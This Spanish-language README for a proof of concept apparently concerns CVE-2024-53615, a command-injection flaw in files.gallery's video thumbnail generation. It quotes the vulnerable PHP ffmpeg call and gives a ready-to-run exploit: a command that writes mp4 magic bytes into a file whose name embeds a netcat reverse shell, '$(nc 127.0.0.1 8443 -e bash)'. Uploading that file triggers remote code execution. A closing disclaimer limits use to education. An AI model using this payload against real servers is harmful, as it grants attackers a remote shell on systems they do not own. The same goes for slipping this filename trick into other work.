
CVE-2024-53615
Una vulnerabilidad de inyección de comandos en el componente de renderizado de miniaturas de video de Karl Ward files.gallery v0.3.0 hasta 0.11.0 permite a atacantes remotos ejecutar código arbitrario mediante un archivo de video manipulado.
Prerrequisitos:
ffmpeg en PATHconfig.php: 'allow_upload' => trueexec debe estar habilitado en la configuración de PHPLa vulnerabilidad se encuentra en la siguiente línea (obtenida de la versión 0.9.12), que genera vistas previas de video:
$cmd = $ffmpeg_path . ' -ss 3 -t 1 -hide_banner -i "' . str_replace('"', '\"', $this->path) . '" -frames:v 1 -an -vf "thumbnail,scale=480:320:force_original_aspect_ratio=increase,crop=480:320" -r 1 -y -f mjpeg "' . $cache . '" 2>&1';
Como $this->path es controlable por el usuario, podemos construir un archivo malicioso cuyo título sea una sustitución de comando de bash. Es importante que este archivo contenga, por ejemplo, los bytes mágicos de mp4 y el nombre del archivo termine en .mp4:
$ echo "AAAAIGZ0eXBpc29tAAACAGlzb21pc28yYXZjMW1wNDEAAQv7bW9vdgAAAGxtdmhk" | base64 -d > '$(nc 127.0.0.1 8443 -e bash).mp4'
Si subimos este archivo y actualizamos la página para que la aplicación cargue el archivo, obtenemos una shell en nuestra máquina local.
Nota: el comando se almacena en el nombre del archivo, por lo que las posibilidades de reverse shell están limitadas debido a restricciones de longitud del nombre.
Este repositorio está destinado exclusivamente a fines educativos y de investigación.
Advertencia de uso indebido: El uso de esta herramienta para actividades no autorizadas o maliciosas está estrictamente prohibido y puede violar leyes locales, estatales o internacionales. El autor no se hace responsable del uso indebido de este código.
Siempre obtenga la autorización adecuada antes de implementar esta herramienta en cualquier entorno. Al utilizar este proyecto, acepta utilizarlo de manera responsable y ética.